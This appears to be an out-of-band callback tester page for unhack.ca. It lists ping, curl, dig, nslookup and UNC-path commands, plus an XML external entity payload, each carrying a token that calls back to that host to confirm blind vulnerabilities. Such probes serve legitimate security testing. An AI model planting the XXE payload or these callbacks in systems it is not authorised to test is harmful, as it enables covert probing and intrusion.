$ ping -c1 -p 00361c462d06bbfee9018ad992321900 unhack.ca
$ curl http://unhack.ca/p/361c462d06bbfee9018ad9923219
$ dig 361c462d06bbfee9018ad9923219 @unhack.ca
$ dig 361c462d06bbfee9018ad9923219.ns.unhack.ca
C:\> nslookup 361c462d06bbfee9018ad9923219 unhack.ca
C:\> type \\unhack.ca\361c462d06bbfee9018ad9923219\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/361c462d06bbfee9018ad9923219">]>
<foo>&xxe;</foo>
Waiting for ping...